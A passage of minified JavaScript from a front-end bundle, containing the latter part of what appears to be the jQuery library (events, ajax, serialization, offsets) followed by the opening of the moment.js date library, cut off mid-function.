b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!B(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Tb=[],Ub=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Tb.pop()||r.expando+"_"+ub++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Ub.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ub.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Ub,"$1"+e):b.jsonp!==!1&&(b.url+=(vb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Tb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=pb(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),b=f.ownerDocument,c=b.documentElement,e=b.defaultView,{top:d.top+e.pageYOffset-c.clientTop,left:d.left+e.pageXOffset-c.clientLeft}):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),B(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||ra})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return T(this,function(a,d,e){var f;return r.isWindow(a)?f=a:9===a.nodeType&&(f=a.defaultView),void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Pa(o.pixelPosition,function(a,c){if(c)return c=Oa(a,b),Ma.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return T(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.holdReady=function(a){a?r.readyWait++:r.ready(!0)},r.isArray=Array.isArray,r.parseJSON=JSON.parse,r.nodeName=B,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Vb=a.jQuery,Wb=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Wb),b&&a.jQuery===r&&(a.jQuery=Vb),r},b||(a.jQuery=a.$=r),r}); !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.moment=t()}(this,function(){"use strict";function e(){return Qe.apply(null,arguments)}function t(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function n(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function s(e){return void 0===e}function i(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function r(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function a(e,t){var n,s=[];for(n=0;n<e.length;++n)s.push(t(e[n],n));return s}function o(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function u(e,t){for(var n in t)o(t,n)&&(e[n]=t[n]);return o(t,"toString")&&(e.toString=t.toString),o(t,"valueOf")&&(e.valueOf=t.valueOf),e}function l(e,t,n,s){return ge(e,t,n,s,!0).utc()}function d(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function h(e){if(null==e._isValid){var t=d(e),n=Xe.call(t.parsedDateParts,function(e){return null!=e}),s=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&n);if(e._strict&&(s=s&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return s;e._isValid=s}return e._isValid}function c(e){var t=l(NaN);return null!=e?u(d(t),e):d(t).userInvalidated=!0,t}function f(e,t){var n,i,r;if(s(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),s(t._i)||(e._i=t._i),s(t._f)||(e._f=t._f),s(t._l)||(e._l=t._l),s(t._strict)||(e._strict=t._strict),s(t._tzm)||(e._tzm=t._tzm),s(t._isUTC)||(e._isUTC=t._isUTC),s(t._offset)||(e._offset=t._offset),s(t._pf)||(e._pf=d(t)),s(t._locale)||(e._locale=t._locale),Ke.length>0)for(n=0;n<Ke.length;n++)s(r=t[i=Ke[n]])||(e[i]=r);return e}function m(t){f(this,t),this._d=new Date(null!=t._d?t._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===et&&(et=!0,e.updateOffset(this),et=!1)}function _(e){return e instanceof m||null!=e&&null!=e._isAMomentObject}function y(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function g(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=y(t)),n}function p(e,t,n){var s,i=Math.min(e.length,t.length),r=Math.abs(e.length-t.length),a=0;for(s=0;s<i;s++)(n&&e[s]!==t[s]||!n&&g(e[s])!==g(t[s]))&&a++;return a+r}function w(t){!1===e.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+t)}function v(t,n){var s=!0;return u(function(){if(null!=e.deprecationHandler&&e.deprecationHandler(null,t),s){for(var i,r=[],a=0;a<arguments.length;a++){if(i="","object"==typeof arguments[a]){i+="\n["+a+"] ";for(var o in arguments[0])i+=o+": "+arguments[0][o]+", ";i=i.slice(0,-2)}else i=arguments[a];r.push(i)}w(t+"\nArguments: "+Array.prototype.slice.call(r).join("")+"\n"+(new Error).stack),s=!1}return n.apply(this,arguments)},n)}function M(t,n){null!=e.deprecationHandler&&e.deprecationHandler(t,n),tt[t]||(w(n),tt[t]=!0)}function S(e){return e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function D(e,t){var s,i=u({},e);for(s in t)o(t,s)&&(n(e[s])&&n(t[s])?(i[s]={},u(i[s],e[s]),u(i[s],t[s])):null!=t[s]?i[s]=t[s]:delete i[s]);for(s in e)o(e,s)&&!o(t,s)&&n(e[s])&&(i[s]=u({},i[s]));return i}function k(e){null!=e&&this.set(e)}function Y(e,t){var n=e.toLowerCase();st[n]=st[n+"s"]=st[t]=e}function O(e){return"string"==typeof e?st[e]||st[e.toLowerCase()]:void 0}function T(e){var t,n,s={};for(n in e)o(e,n)&&(t=O(n))&&(s[t]=e[n]);return s}function x(e,t){it[e]=t}function b(e,t,n){var s=""+Math.abs(e),i=t-s.length;return(e>=0?n?"+":"":"-")+Math.pow(10,Math.max(0,i)).toString().substr(1)+s}function P(e,t,n,s){var i=s;"string"==typeof s&&(i=function(){return this[s]()}),e&&(ut[e]=i),t&&(ut[t[0]]=function(){return b(i.apply(this,arguments),t[1],t[2])}),n&&(ut[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function W(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function H(e,t){return e.isValid()?(t=R(t,e.localeData()),ot[t]=ot[t]||function(e){var t,n,s=e.match(rt);for(t=0,n=s.length;t<n;t++)ut[s[t]]?s[t]=ut[s[t]]:s[t]=W(s[t]);return function(t){var i,r="";for(i=0;i<n;i++)r+=S(s[i])?s[i].call(t,e):s[i];return r}}(t),ot[t](e)):e.localeData().invalidDate()}function R(e,t){function n(e){return t.longDateFormat(e)||e}var s=5;for(at.lastIndex=0;s>=0&&at.test(e);)e=e.replace(at,n),at.lastIndex=0,s-=1;return e}function C(e,t,n){Yt[e]=S(t)?t:function(e,s){return e&&n?n:t}}function F(e,t){return o(Yt,e)?Yt[e](t._strict,t._locale):new RegExp(function(e){return U(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(e,t,n,s,i){return t||n||s||i}))}(e))}function U(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function L(e,t){var n,s=t;for("string"==typeof e&&(e=[e]),i(t)&&(s=function(e,n){n[t]=g(e)}),n=0;n<e.length;n++)Ot[e[n]]=s}function N(e,t){L(e,function(e,n,s,i){s._w=s._w||{},t(e,s._w,s,i)})}function G(e,t,n){null!=t&&o(Ot,e)&&Ot[e](t,n._a,n,e)}function V(e){return E(e)?366:365}function E(e){return e%4==0&&e%100!=0||e%400==0}function I(t,n){return function(s){return null!=s?(j(this,t,s),e.updateOffset(this,n),this):A(this,t)}}function A(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function j(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&E(e.year())&&1===e.month()&&29===e.date()?e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),Z(n,e.month())):e._d["set"+(e._isUTC?"UTC":"")+t](n))}function Z(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=function(e,t){return(e%t+t)%t}(t,12);return e+=(t-n)/12,1===n?E(e)?29:28:31-n%7%2}function z(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=g(t);else if(t=e.localeData().monthsParse(t),!i(t))return e;return n=Math.min(e.date(),Z(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function $(t){return null!=t?(z(this,t),e.updateOffset(this,!0),this):A(this,"Month")}function q(){function e(e,t){return t.length-e.length}var t,n,s=[],i=[],r=[];for(t=0;t<12;t++)n=l([2e3,t]),s.push(this.monthsShort(n,"")),i.push(this.months(n,"")),r.push(this.months(n,"")),r.push(this.monthsShort(n,""));for(s.sort(e),i.sort(e),r.sort(e),t=0;t<12;t++)s[t]=U(s[t]),i[t]=U(i[t]);for(t=0;t<24;t++)r[t]=U(r[t]);this._monthsRegex=new RegExp("^("+r.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function J(e){var t=new Date(Date.UTC.apply(null,arguments));return e<100&&e>=0&&isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e),t}function B(e,t,n){var s=7+t-n;return-((7+J(e,0,s).getUTCDay()-t)%7)+s-1}function Q(e,t,n,s,i){var r,a,o=1+7*(t-1)+(7+n-s)%7+B(e,s,i);return o<=0?a=V(r=e-1)+o:o>V(e)?(r=e+1,a=o-V(e)):(r=e,a=o),{year:r,dayOfYear:a}}function X(e,t,n){var s,i,r=B(e.year(),t,n),a=Math.floor((e.dayOfYear()-r-1)/7)+1;return a<1?s=a+K(i=e.year()-1,t,n):a>K(e.year(),t,n)?(s=a-K(e.year(),t,n),i=e.year()+1):(i=e.year(),s=a),{week:s,year:i}}function K(e,t,n){var s=B(e,t,n),i=B(e+1,t,n);return(V(e)-s+i)/7}function ee(){function e(e,t){return t.length-e.length}var 